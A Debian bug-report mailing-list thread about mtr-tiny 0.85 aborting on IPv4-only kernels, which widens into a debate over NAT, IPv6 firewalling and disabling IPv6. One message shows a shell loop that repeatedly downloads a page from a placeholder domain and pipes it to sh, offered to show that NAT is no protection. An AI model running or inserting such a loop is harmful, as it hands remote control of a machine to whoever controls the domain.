Bug#731799: Do not work with IPv4 only anymore
Control: fixed -1 0.86-1 On Mon, Dec 09, 2013 at 10:19:47PM +0100, Klaus Ethgen wrote: > Package: mtr-tiny > Version: 0.85-2 > Severity: grave > > The newest version refuse to work on IPv4 only nodes. [...] > For the records, I have no kernel on production systems that have IPv6 > enabled or that is explicit disabled by kernel command line. Confirmed to work fine on Stretch. According to an upstream commit this has been fixed in 0.86 https://github.com/traviscross/mtr/commit/12c53f98e44598b87d3f2308e0d892f49d7af8e4 Bernhard
Bug#731799: Do not work with IPv4 only anymore
On Sun, Apr 27, 2014 at 04:29:18PM +0200, Jeroen Massar wrote: This seems completely unrelated to mtr or let alone Debian... If your tunnel is broken, then report that to SixXS, there is a nice ticket system at https://www.sixxs.net/tickets/. Do provide actual details instead of making factless statements in the Debian bug system. I am one of the users of the chzrh02 PoP and is working like a charm. And the rare of chance that it does not, it typically gets reported by multiple users and also resolved very quickly. Init7 definitely does care. If you thus have issues, it definitely is something you have to look into. I personally have a good understanding of IPV4 and how I've secured my network against attacks from outside. I know what I'm doing. This means that I make decisions about what to protect against and what I won't protect against. I have decided that I will have fence security: I protect the outside, I do not put any effort into protecting my machines from an attacker who is able to access my network. (either by physically plugging in or by getting control over a machine on my network). Now this fancy IPV6 comes along. I've been pusing my hosting provider for an IPV6 address so that I can gain some experience. I'm not getting it. My provider at work doesn't give me IPV6 access. My provider at home doesn't. I could tunnel apparently, but although we hear that IPV4 addresses are running out any moment now time and time again, nobody around me seems to be hurrying The little I know about IPV6 is that there won't be a need to masquerade like we do now. Well, that masquerading is part of my security strategy. It is for a lot of people. Their machines are not on a globally routable IP address range, and their border router just like mine will masquerade for outgoing addresses and automatically prevent incoming connections, unless explicitly enabled (port forwarding). I know that my machines, when running a recent distribution, obtain an IPV6 address. If my home router suddenly started giving my home machines routable IPV6 addresses that would break my fence. You'd suddenly be able to connect to my home machine's http port, which for example has my paragliding logbook database available to anybody who can connect. No password no nothing. Just the fence. I don't have control over the modem. The modem might be upgradeable by the provider. Or the modem may already be IPV6 enabled, but for now it doesn't get a routable IPV6 address from the provider. When they change that, all of a sudden the IPV6 addresses on my network may become routable. So... best thing to do is to make sure my machine will never talk IPV6. How about I compile a kernel without IPV6? Or maybe just boot with ipv6disable=1? Roger. -- ** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 ** **Delftechpark 26 2628 XH Delft, The Netherlands. KVK: 27239233** *-- BitWizard writes Linux device drivers for any device you may have! --* The plan was simple, like my brother-in-law Phil. But unlike Phil, this plan just might work. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
Note that there are a variety of forums that are a much better place than a Debian mtr package bug report for these kind of questions. On 2014-04-28 09:08, Rogier Wolff wrote: I personally have a good understanding of IPV4 and how I've secured my network against attacks from outside. I know what I'm doing. This means that I make decisions about what to protect against and what I won't protect against. I have decided that I will have fence security: I protect the outside, I do not put any effort into protecting my machines from an attacker who is able to access my network. (either by physically plugging in or by getting control over a machine on my network). If your assumption is that, then you are 'safe' with the default settings provided by Debian. Unless somebody sets up a router advertisement to announce a prefix (for which they need local access to the network), your host will only have a link-local (fe80::/10) address, which means the adversary has local access to your network. Now this fancy IPV6 comes along. I've been pusing my hosting provider for an IPV6 address so that I can gain some experience. Chose with your money. If they do not get the picture in 2014, they will never get it. The little I know about IPV6 is that there won't be a need to masquerade like we do now. Well, that masquerading is part of my security strategy. The part that 'masquerading' adds in your 'security strategy' is connection tracking. Not the actual act of translating addresses; they actually make your box wide open. I know that my machines, when running a recent distribution, obtain an IPV6 address. If my home router suddenly started giving my home machines routable IPV6 addresses that would break my fence. If you do not trust machines connection to your local network then you should fix that hole in the fence. So... best thing to do is to make sure my machine will never talk IPV6. How about I compile a kernel without IPV6? Or maybe just boot with ipv6disable=1? Instead of disabling IPv6, just firewall it: ip6tables -A INPUT -j REJECT ip6tables -A FORWARD -j REJECT If you consider disabling IPv6, you should also disable all kinds of drivers, TCP/IP variants, etc. As that is then the same 'protection' you are asking for. More importantly though: it is 2014, IPv6 has been available to the general public for almost 20 years (6bone is from 1996-ish). Use it. Greets, Jeroen -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
On Mon, Apr 28, 2014 at 09:43:40AM +0200, Jeroen Massar wrote: Note that there are a variety of forums that are a much better place than a Debian mtr package bug report for these kind of questions. I'm not asking for help. I'm trying to communicate that I think that disabling IPV6 is a valid configuration. I fully agree with the decisions upstream in debian to enable IPV6. But you should respect those that may have reasons to disable it. On 2014-04-28 09:08, Rogier Wolff wrote: I personally have a good understanding of IPV4 and how I've secured my network against attacks from outside. I know what I'm doing. This means that I make decisions about what to protect against and what I won't protect against. I have decided that I will have fence security: I protect the outside, I do not put any effort into protecting my machines from an attacker who is able to access my network. (either by physically plugging in or by getting control over a machine on my network). If your assumption is that, then you are 'safe' with the default settings provided by Debian. Unless somebody sets up a router advertisement to announce a prefix (for which they need local access to the network), your host will only have a link-local (fe80::/10) address, which means the adversary has local access to your network. I could look this up in under 60 seconds. But I haven't. So when my machine asks for an IPV6 address on the link it gets one. If I'd look it up I'd see it was a link-local address. I'm guessing similar to the 192.168.x.y that I'm using for IPV4 that they won't work outside my home network. So how do I know that when I boot tomorrow my machine won't get a routable IPV6 address? I don't. Now this fancy IPV6 comes along. I've been pusing my hosting provider for an IPV6 address so that I can gain some experience. Chose with your money. If they do not get the picture in 2014, they will never get it. I don't have extra money and time to spare to push issues like this. If they decide for their clients that without IPV6 I will be able to manage for now, I'm not going to research or doubt that decisison. I respect their decision. Life is short. There are a lot of things in this world that I don't have the time to learn. There are a lot of things /wrong/ in this world that I don't have the time to worry about or change. I'm chosing my battles. I'm not into poltics, I'm into technical things. And even then I choose my battles. The we need to switch to IPV6 NOW crowd lost credibility with me when they announced we'll have serious trouble in XXX time when we'll run out of IPV4 addresses. This was announced three years in a row, with XXX always less than 12 months. I haven't heard about the IPV4 addresses running out for about a year now. Is the new announcement going out soon, or did I miss one? The little I know about IPV6 is that there won't be a need to masquerade like we do now. Well, that masquerading is part of my security strategy. The part that 'masquerading' adds in your 'security strategy' is connection tracking. Not the actual act of translating addresses; they actually make your box wide open. The masquerading part helps my security: My machine thinks its address is 192.168.x.y, and besides people on or very close to my network, nobody will be able to get packets with that addres to travel to my machine. What is they referring to in they actually make...? You're saying that masquerading makes my machine wide open? Are you following the microsoft tactic that OUTgoing connections need to be firewalled? Sure. On my phone I install apps that should not be connecting to the internet on a whim. But on my PC I'm more afraid of the 4 billion internet-users out there, one of which might try to connect to a service on my machine. At the moment that try to connect they are now blocked because I don't have a routable internet address. I know that my machines, when running a recent distribution, obtain an IPV6 address. If my home router suddenly started giving my home machines routable IPV6 addresses that would break my fence. If you do not trust machines connection to your local network then you should fix that hole in the fence. My provider will, at some time between 2010 and 2020 decide to enable IPV6 to their clients. I don't want to have to be there at the moment they decide to enable it. So... best thing to do is to make sure my machine will never talk IPV6. How about I compile a kernel without IPV6? Or maybe just boot with ipv6disable=1? Instead of disabling IPv6, just firewall it: ip6tables -A INPUT -j REJECT ip6tables -A FORWARD -j REJECT There is more than one way to skin a cat. If you think that an outgoing connection that goes through masquerading is a security risk, will you permit me to consider ipv6 enabled, but firewalled a risk? To be able to issue the above commands I've had to learn that the command for ipv6 firewallin
Bug#731799: Do not work with IPv4 only anymore
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Hi Rogier, Am Mo den 28. Apr 2014 um 8:08 schrieb Rogier Wolff: [Problems with IPv6] Sorry, that I brought my objection against IPv6 into talk. It might be completely of topic for this bug. Maybe there is a better place to discuss this. Just to not let your question unanswered... So... best thing to do is to make sure my machine will never talk IPV6. How about I compile a kernel without IPV6? Or maybe just boot with ipv6disable=1? You can add ipv6.disable=1 to your boot line to completely switch off IPv6. (For example add ipv6.disable=1 to GRUB_CMDLINE_LINUX in /etc/default/grub.) Regards Klaus - -- Klaus Ethgen http://www.ethgen.ch/ pub 4096R/4E20AF1C 2011-05-16 Klaus Ethgen kl...@ethgen.de Fingerprint: 85D4 CA42 952C 949B 1753 62B3 79D0 B06F 4E20 AF1C -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQGcBAEBCgAGBQJTXie/AAoJEKZ8CrGAGfasI+ML/RXheZGBKVkLIJKwROcjuhGu kj0ZMTRlZL1Rd7famsDtLLDixVoMj4VtxbCTP3QPuC79Sibd5fV+F4KHWrXGuG33 +lxstaQukEyHQJaTNcQVKaq8JAt84Ekk2uYfEqD4oIZ7Oc7P4vLYH39FDgrdcxv6 InlsYdNbIi/hWZrNkvZVGuoeJ3p+tDMkbEPPXTUfqij99M7YRywnnRKxn/v4Cxmp Wqifq5+5rqv1Ccv+A8vAxGcVfnD68awcI4UJqX4X2Qq9yGzCmGuiWYCaWy9FjXH2 53bav6MHpSsjhs93rY2Nsct5Mra9U9uFPWcmMqTj2n0XUlBlJsX3z+8HQbQ7tp9M 6Y3cbll4PFPzf8OGZunEozj43cFIn7B6TU4QoIIqcHl/l4QX8duhXgZB/a6bHg8L wQ5z6zerNSBGMsAle2qqkYcy6MmCuopfz4YPpsnCjAu387RGzJsX5oTvQ5O1MXWd ku60ZbmtQD4q9m+isNtjQqyBFCG3Bnv8hLb089aemQ== =pFcR -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
On 2014-04-28 10:45, Rogier Wolff wrote: On Mon, Apr 28, 2014 at 09:43:40AM +0200, Jeroen Massar wrote: Note that there are a variety of forums that are a much better place than a Debian mtr package bug report for these kind of questions. I'm not asking for help. I'm trying to communicate that I think that disabling IPV6 is a valid configuration. I fully agree with the decisions upstream in debian to enable IPV6. But you should respect those that may have reasons to disable it. But then you should not expect everything to 'just work'. In the same way, that some people want to disable IPv4, which in the current Linux kernel cannot work. [..] Unless somebody sets up a router advertisement to announce a prefix (for which they need local access to the network), your host will only have a link-local (fe80::/10) address, which means the adversary has local access to your network. I could look this up in under 60 seconds. But I haven't. You might want to; uninformed comments are not nicely accepted by most people and tend to get ignored. If you can't bother to spend time, then don't waste that of other people. See https://en.wikipedia.org/wiki/Link-local_address for the details about link-locals. So when my machine asks for an IPV6 address on the link it gets one. If I'd look it up I'd see it was a link-local address. I'm guessing similar to the 192.168.x.y that I'm using for IPV4 that they won't work outside my home network. Similar to 169.254.0.0/16 actually. Indeed, link-locals are not routable (and NATting them is in IPv6 quite tricky to, as some networks stacks really do not route them and set the TTL of packets to 1 to enforce that). So how do I know that when I boot tomorrow my machine won't get a routable IPV6 address? I don't. Not if you cannot trust your local network indeed. But the problem there is that you are trusting your local network. Simple solution to all of it: install a IPv6 firewall: ip6tables -A INPUT -j REJECT ip6tables -A FORWARD -j REJECT ip6tables -A OUTPUT -j REJECT [..] The we need to switch to IPV6 NOW crowd lost credibility with me when they announced we'll have serious trouble in XXX time when we'll run out of IPV4 addresses. This was announced three years in a row, with XXX always less than 12 months. I haven't heard about the IPV4 addresses running out for about a year now. Is the new announcement going out soon, or did I miss one? Only this crucial one a few days ago: https://www.arin.net/announcements/2014/20140423.html Note that the other RIRs are already running on fumes for IPv4 for much longer... Those warnings are there to warn people to get their game up and finally do something. If you start now, you (or the companies/organisations/etc you hear from) are late. The little I know about IPV6 is that there won't be a need to masquerade like we do now. Well, that masquerading is part of my security strategy. The part that 'masquerading' adds in your 'security strategy' is connection tracking. Not the actual act of translating addresses; they actually make your box wide open. The masquerading part helps my security: My machine thinks its address is 192.168.x.y, and besides people on or very close to my network, nobody will be able to get packets with that addres to travel to my machine. You are oh so wrong. What is they referring to in they actually make...? they = The mechanism of NAT / masquerading You're saying that masquerading makes my machine wide open? Bingo. It is no more secure than putting it directly on the network. See amongst others http://samy.pl/pwnat/ Are you following the microsoft tactic that OUTgoing connections need to be firewalled? No. Because if something is able to make an outgoing connection the game is already lost as somebody is on the machine already. Sure. On my phone I install apps that should not be connecting to the internet on a whim. But on my PC I'm more afraid of the 4 billion internet-users out there, one of which might try to connect to a service on my machine. At the moment that try to connect they are now blocked because I don't have a routable internet address. As you perform NAT, it does have a *reachable* address though. See the pwnat above for the details. I know that my machines, when running a recent distribution, obtain an IPV6 address. If my home router suddenly started giving my home machines routable IPV6 addresses that would break my fence. If you do not trust machines connection to your local network then you should fix that hole in the fence. My provider will, at some time between 2010 and 2020 decide to enable IPV6 to their clients. I don't want to have to be there at the moment they decide to enable it. Then install a firewall. So... best thing to do is to make sure my machine will never talk IPV6. How about I compile a kernel without IPV6? Or maybe just boot with ipv6disable=1? Instead of disabling IPv6, just
Bug#731799: Do not work with IPv4 only anymore
On Mon, Apr 28, 2014 at 12:02:50PM +0200, Jeroen Massar wrote: You're saying that masquerading makes my machine wide open? Bingo. It is no more secure than putting it directly on the network. See amongst others http://samy.pl/pwnat/ If I run software on a server inside the NAT it can give away access to resources behind the NAT. #!/bin/sh while true ; do lynx -dump http://www.somedomain.com/lkjasdfkj | sh sleep 60 done This gives access to my machine to anyone who can register somedomain.com and install something on the link. The referenced program and technical paper state that for peer-to-peer networks this is important. IF peers A and B are on the internet and X and Y are NATed, then A communicating to B means just set up the connection. If X wants to communicate with A that's simple as well. The NAT router will setup the connection once X initiates the connection. Similarly if B wants to communicate to X, B just has to trigger (using the protocol somehow) that X starts an outgoing connection to B. But X communicating with Y becomes problematic. They have solved this by having the peer-to-peer program silently open up a connection back into the NATed area. Your problem, as you are causing problems for yourself. That is what this ticket is about: you caused a problem, as the tool expects there to be IPv6 support, even if it won't use it. There is a bug in MTR that it will try to open IPV6 sockets for name server communication even when explcitly told to do IPV4 only. I disagree with closing the bug as user-error. Roger. -- +-- Rogier Wolff -- www.harddisk-recovery.nl -- 0800 220 20 20 -- - Datarecovery Services Nederland B.V. Delft. KVK: 30160549 - | Files foetsie, bestanden kwijt, alle data weg?! | Blijf kalm en neem contact op met Harddisk-recovery.nl! -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
On 2014-04-28 13:07, Rogier Wolff wrote: On Mon, Apr 28, 2014 at 12:02:50PM +0200, Jeroen Massar wrote: You're saying that masquerading makes my machine wide open? Bingo. It is no more secure than putting it directly on the network. See amongst others http://samy.pl/pwnat/ If I run software on a server inside the NAT it can give away access to resources behind the NAT. #!/bin/sh while true ; do lynx -dump http://www.somedomain.com/lkjasdfkj | sh sleep 60 done This gives access to my machine to anyone who can register somedomain.com and install something on the link. [..] That is not giving access, that is providing full control. But the same can be achieved in various other ways and all of those are independent of a NAT existing. It indeed demonstrates that a NAT is in no way secure, especially if you have a user dumb enough to run something like the above on their machine. [..] That is what this ticket is about: you caused a problem, as the tool expects there to be IPv6 support, even if it won't use it. There is a bug in MTR that it will try to open IPV6 sockets for name server communication even when explcitly told to do IPV4 only. I disagree with closing the bug as user-error. It is only a user-error from the perspective of disabling a current protocol. If you disable IPv4 your host won't even boot, even if you want it to be IPv6 only. Using IPv6 support of the networking API (getaddrinfo() and friends) is a standard way of porting applications to support both IPv4 and IPv6. Disabling IPv6 in the kernel removes that functionality and thus applications that use it are 'broken'. The user decided this, against the defaults that work. Note that this also happens with various versions of Apache in combinations with newer glibc and older kernel editions for instance. Greets, Jeroen -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
On Mon, Apr 28, 2014 at 02:00:47PM +0200, Jeroen Massar wrote: It is only a user-error from the perspective of disabling a current protocol. If you disable IPv4 your host won't even boot, even if you want it to be IPv6 only. Using IPv6 support of the networking API (getaddrinfo() and friends) is a standard way of porting applications to support both IPv4 and IPv6. mtr doesn't use getaddrinfo. For a reason. Not a good reason, but for a reason. The reason is that it might have many address lookup requests active at the same time. And it needs to continue to send probe packets and process the replies. It cannot hang in the getaddrinfo call for five seconds. The IMHO correct way to handle this situation would have been to fork off a process that does the getaddrinfo call, and reports back to the main process. Alas, that wasn't the way things were implemented back in theold days, so now we're stuck in mtr with a separate name-resolving code-block which is buggy and difficult to maintain. Roger. -- +-- Rogier Wolff -- www.harddisk-recovery.nl -- 0800 220 20 20 -- - Datarecovery Services Nederland B.V. Delft. KVK: 30160549 - | Files foetsie, bestanden kwijt, alle data weg?! | Blijf kalm en neem contact op met Harddisk-recovery.nl! -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
On 2014-04-28 14:26, Rogier Wolff wrote:
On Mon, Apr 28, 2014 at 02:00:47PM +0200, Jeroen Massar wrote:
It is only a user-error from the perspective of disabling a current
protocol. If you disable IPv4 your host won't even boot, even if you
want it to be IPv6 only.
Using IPv6 support of the networking API (getaddrinfo() and friends) is
a standard way of porting applications to support both IPv4 and IPv6.
mtr doesn't use getaddrinfo. For a reason. Not a good reason, but
for a reason.
Line ~418 of mtr.c (mtr-0.85 from a quick apt-get source mtr-tiny):
8---
#ifdef ENABLE_IPV6
/* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */
bzero( hints, sizeof hints );
hints.ai_family = af;
hints.ai_socktype = SOCK_DGRAM;
error = getaddrinfo( Hostname, NULL, hints, res );
---8
also note that I stated getaddrinfo() and friends, to spell it out, I
mean: RFC3493 (http://www.ietf.org/rfc/rfc3493.txt) which contains a set
of functions to support IPv6 along with IPv4 in a mixed environment.
But to get back to the original bug report:
8-
void dns_open(void)
{
int option,i;
if (!dns) return;
MY_RES_INIT();
if (!myres.nscount) {
fprintf(stderr,No nameservers defined.\n);
exit(-1);
}
myres.options|= RES_RECURSE | RES_DEFNAMES | RES_DNSRCH;
resfd = socket(AF_INET, SOCK_DGRAM, 0);
if (resfd == -1) {
fprintf(stderr,
Unable to allocate IPv4 socket for nameserver
communication: %s\n,
strerror(errno));
exit(-1);
}
#ifdef ENABLE_IPV6
resfd6 = socket(AF_INET6, SOCK_DGRAM, 0);
if (resfd6 == -1) {
fprintf(stderr,
Unable to allocate IPv6 socket for nameserver
communication: %s\n,
strerror(errno));
exit(-1);
}
--8
As such, defining ENABLED_IPV6, causes unconditionally that IPv6 support
is compiled in, but also that that resolver socket is always enabled and
required.
Hence, when your kernel is IPv6 disabled, you do not get that socket and
mtr aborts.
The question to that code becomes:
a) is -4 intended only to indicate the target to be traced
b) does -4 also mean force reverse resolve through IPv4
Like other tools that do similar things, I suggest it is a), as one
could have IPv4 traffic, while doing DNS over IPv6.
As such, keep your kernel IPv6 enabled.
As stated above in this thread already: patches are welcome!
Greets,
Jeroen
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Hi, Am Sa den 26. Apr 2014 um 14:59 schrieb Philipp Kern: ~ mtr -4 www.heise.de My traceroute [v0.85] ikki (0.0.0.0) Mon Dec 9 22:12:29 2013 Unable to allocate IPv6 socket for nameserver communication: Address family not supported by protocol Packets Pings Version 0.82-3 was working properly. I suppose this is a regression introduced for bug #528992. This bug makes the package in fact unusable. For the records, I have no kernel on production systems that have IPv6 enabled or that is explicit disabled by kernel command line. Such a configuration that diverges from the Debian default config makes this hardly grave or RC. Well, you can easily boot your debian kernel with ipv6.disable=1 to archive the same result. But the severity is ok with me. It's enough to have it enabled in the kernel but no addresses configured. And exactly that is the problem with IPv6. Due the dynamic nature of IPv6, you might be reachable from the net by accident if you have IPv6 enabled. If you don't use it and don't address it security wise the same that you do IPv4, you will be screwed. And let me note that most people have good firewall for IPv4 but none for IPv6, simply for the reason they do not have it on there radar. Thats the reason why I have IPv6 switched of completely on most of my devices (except some experimental where I want to play with IPv6 that is fare from good enough to use in productive environment). And even more, it is good security praxis to have unused stuff at least switched of or better not even installed or compiled in. So, I believe that this bug even affect many people that uses mtr on debian; at least that ones who care about secure systems. Regards Klaus - -- Klaus Ethgen http://www.ethgen.ch/ pub 4096R/4E20AF1C 2011-05-16 Klaus Ethgen kl...@ethgen.de Fingerprint: 85D4 CA42 952C 949B 1753 62B3 79D0 B06F 4E20 AF1C -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQGcBAEBCgAGBQJTXKwSAAoJEKZ8CrGAGfasmLUMAMMsoYGIaOQZCqxsEM2X7HvE SESgT5SNLVAgxdH4gYIN5trpGeRL6hocV8TypYUDX88GOKnznVGJKfWQSPqwwtw9 aegbSK1ir1Th9ZxqFy3jUsDyCwnB/rtMizhA4jRmp37p2MppjF25U3QQi6SqWPmg xgSfuDzxJ2beoOqactR17kqc5FfcDo+R1ccN0fjgdMlniSU1fKiUqmw/xoXemY+T hw8lJ+DNqXaMmQpiA7rNh5TgpBOD7BRg9vq2+/2v1Lue8aaVo5f4Pknv4z/xqzjU ijUiJ/YW/apK7TeACZU9/cSqAKM5jFV1IrJSLiC45bSv6IIQOy3U8tXqFMEv3cFB gLW1eMeowlSnba2PdNlRRMBg2Edk7KwzXIB7Ar58lB7mJ8FpImtXE2fefJcxtpBB 81eGfN4Fdi6navK/YbGtsBqj+zxKnfrnRdTdqvgHEk2pQCO5qc8Y7tzH4MQg2z/g A6HkjRWMZNXzHlvpJuGJNyb0UGnrOL13QbwZxWdJ8Q== =7S56 -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
On 2014-04-27 09:04, Klaus Ethgen wrote: And exactly that is the problem with IPv6. Due the dynamic nature of IPv6, you might be reachable from the net by accident if you have IPv6 enabled. If you don't use it and don't address it security wise the same that you do IPv4, you will be screwed. And let me note that most people have good firewall for IPv4 but none for IPv6, simply for the reason they do not have it on there radar. You can also turn off the automatic configuration bits. Thats the reason why I have IPv6 switched of completely on most of my devices (except some experimental where I want to play with IPv6 that is fare from good enough to use in productive environment). And even more, it is good security praxis to have unused stuff at least switched of or better not even installed or compiled in. So, I believe that this bug even affect many people that uses mtr on debian; at least that ones who care about secure systems. I know that people argue that way. But I still doubt that many people are affected. Anyway, feel free to provide a patch. :) Kind regards Philipp Kern -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Hi, Am So den 27. Apr 2014 um 9:02 schrieb Philipp Kern: [one problem with automatic IPv6 stuff] You can also turn off the automatic configuration bits. True but your forgot the security best practice. And, who ever knows how to do this!? [Security problems with accidentally switched on IPv6] I know that people argue that way. Well, cause it is the truth. But I still doubt that many people are affected. Anyway, feel free to provide a patch. :) My first Idea for a patch would have been to revert the broken ubuntu patch that was the source for all the problem. ;-) But serious, I have no way to file a proper patch as I might accidental break IPv6 stuff as I have no real running IPv6. (My tunnel I have is broken everytime as init7, that provides it for sixxs, seems to not expect long running tunnels and breake it from time to time. So I do not know if the connection through init7 is a proper IPv6. To be true, I even care just a little about IPv6. ;-) Regards Klaus - -- Klaus Ethgen http://www.ethgen.ch/ pub 4096R/4E20AF1C 2011-05-16 Klaus Ethgen kl...@ethgen.de Fingerprint: 85D4 CA42 952C 949B 1753 62B3 79D0 B06F 4E20 AF1C -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQGcBAEBCgAGBQJTXP6lAAoJEKZ8CrGAGfasgwAL/2Hp1PkDL6tO3HvTr4/IggHj SmBYJ3ChwdtRxgwTwyDH5eKLhUR5Oixiu2Y6oxaQDY8KNI9sqMLNlS46Hz8GVsel /DaydsIHGuGhi7cgbAi4TT7TrnGdfZK/kSeL0ZyCu2Bffxylbt5vqGPH3MUQV7nd w2Y2aCf50Qrro4Ir4nkIwFt8RvI/T5qb1N0MriqlMJ+TD0sJS9WuWeGomMKFBzVG nuduvUCKKTyWiibPVCIFvViTn5Qbojz2DOdumNcu4DaOTdxRrBQAi7MMU7FcHOlo eWL2zgDU/zj3MKzgTEqCyPGy+tZoDVyLeeSRyxe+7Pstmx51M99GM2M+lyL54qE5 EHkmhMpKZ4D3H1//Ya6UwSM7Y6hlUaeTCLyYKZjnsL8J16kOkKLOElngyWMfqjup deUgKNYgbEFaDDwLj64baLXQW9cK9T5hyKM0MK58QhlyFUWI4S8xwf98ERgyipEp YU9O3WN5fp83qJpFhJmc6jkT0M0UWkdshVuQa4F3tg== =rQKD -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
Klaus Ethgen wrote: But serious, I have no way to file a proper patch as I might accidental break IPv6 stuff as I have no real running IPv6. (My tunnel I have is broken everytime as init7, that provides it for sixxs, seems to not expect long running tunnels and breake it from time to time. So I do not know if the connection through init7 is a proper IPv6. To be true, I even care just a little about IPv6. ;-) This seems completely unrelated to mtr or let alone Debian... If your tunnel is broken, then report that to SixXS, there is a nice ticket system at https://www.sixxs.net/tickets/. Do provide actual details instead of making factless statements in the Debian bug system. I am one of the users of the chzrh02 PoP and is working like a charm. And the rare of chance that it does not, it typically gets reported by multiple users and also resolved very quickly. Init7 definitely does care. If you thus have issues, it definitely is something you have to look into. Greets, Jeroen -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
Control: severity -1 important On Mon, Dec 09, 2013 at 10:19:47PM +0100, Klaus Ethgen wrote: The newest version refuse to work on IPv4 only nodes. ~ mtr -4 www.heise.de My traceroute [v0.85] ikki (0.0.0.0) Mon Dec 9 22:12:29 2013 Unable to allocate IPv6 socket for nameserver communication: Address family not supported by protocol Packets Pings Version 0.82-3 was working properly. I suppose this is a regression introduced for bug #528992. This bug makes the package in fact unusable. For the records, I have no kernel on production systems that have IPv6 enabled or that is explicit disabled by kernel command line. Such a configuration that diverges from the Debian default config makes this hardly grave or RC. It's enough to have it enabled in the kernel but no addresses configured. Kind regards Philipp Kern signature.asc Description: Digital signature
Bug#731799: Do not work with IPv4 only anymore
Hi Robert, Klaus Ethgen wrote: The newest version refuse to work on IPv4 only nodes. [...] Unable to allocate IPv6 socket for nameserver communication: Address family not supported by protocol Any news here? Regards, Axel -- ,''`. | Axel Beckert a...@debian.org, http://people.debian.org/~abe/ : :' : | Debian Developer, ftp.ch.debian.org Admin `. `' | 1024D: F067 EA27 26B9 C3FC 1486 202E C09E 1D89 9593 0EDE `-| 4096R: 2517 B724 C5F6 CA99 5329 6E61 2FF9 CD59 6126 16B5 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#731799: Do not work with IPv4 only anymore
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Package: mtr-tiny Version: 0.85-2 Severity: grave The newest version refuse to work on IPv4 only nodes. ~ mtr -4 www.heise.de My traceroute [v0.85] ikki (0.0.0.0) Mon Dec 9 22:12:29 2013 Unable to allocate IPv6 socket for nameserver communication: Address family not supported by protocol Packets Pings Version 0.82-3 was working properly. I suppose this is a regression introduced for bug #528992. This bug makes the package in fact unusable. For the records, I have no kernel on production systems that have IPv6 enabled or that is explicit disabled by kernel command line. - -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (800, 'unstable'), (600, 'oldstable'), (110, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.11.6 (SMP w/8 CPU cores; PREEMPT) Locale: LANG=de_DE, LC_CTYPE=de_DE (charmap=ISO-8859-1) (ignored: LC_ALL set to de_DE) Shell: /bin/sh linked to /bin/dash Versions of packages mtr-tiny depends on: ii libc62.17-97 ii libncurses5 5.9+20130608-1 ii libtinfo55.9+20130608-1 mtr-tiny recommends no packages. mtr-tiny suggests no packages. - -- no debconf information - -- Klaus Ethgen http://www.ethgen.ch/ pub 4096R/4E20AF1C 2011-05-16 Klaus Ethgen kl...@ethgen.de Fingerprint: 85D4 CA42 952C 949B 1753 62B3 79D0 B06F 4E20 AF1C -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.15 (GNU/Linux) iQGcBAEBCgAGBQJSpjPxAAoJEKZ8CrGAGfas6DEMAIyaDr8xmAQPZiYL+rNNqqi9 Cr4rDX3Q2qID9GEVfnnGRZVfVt7Z6nMMrh3NjfO/vMRgPWKOu7FcvjchR3Hc8Jnh SvtnnYzgjdgJec+Zb7OmpvHeE5LKSsoDGmmlrxa4D9RyOdPIdHZ2Z4IZv1rYkZw6 lDsEE1sbfLjmMywX3FB/joi+7XUj1GdVw/eFKvutNOeeFBN8h1yKOTPJjK+izspz bJrlEwvFdfB+RmBZlWKnfsa/X1GLW5EsUsZJrYqRtT1xYEyMnaq2O1Y79Axmbmm8 r9/8IoidU22g68lId1RGXHCj5duR/wmU/ayfcWLs17S8P0pnP4Rwgi1LXeOn66uw msGWqj5y2V5nz3TBwsldHrdfZxD2WOI0MAVnz1KsSxce/fxDBxlLpa6r66D3rv1t 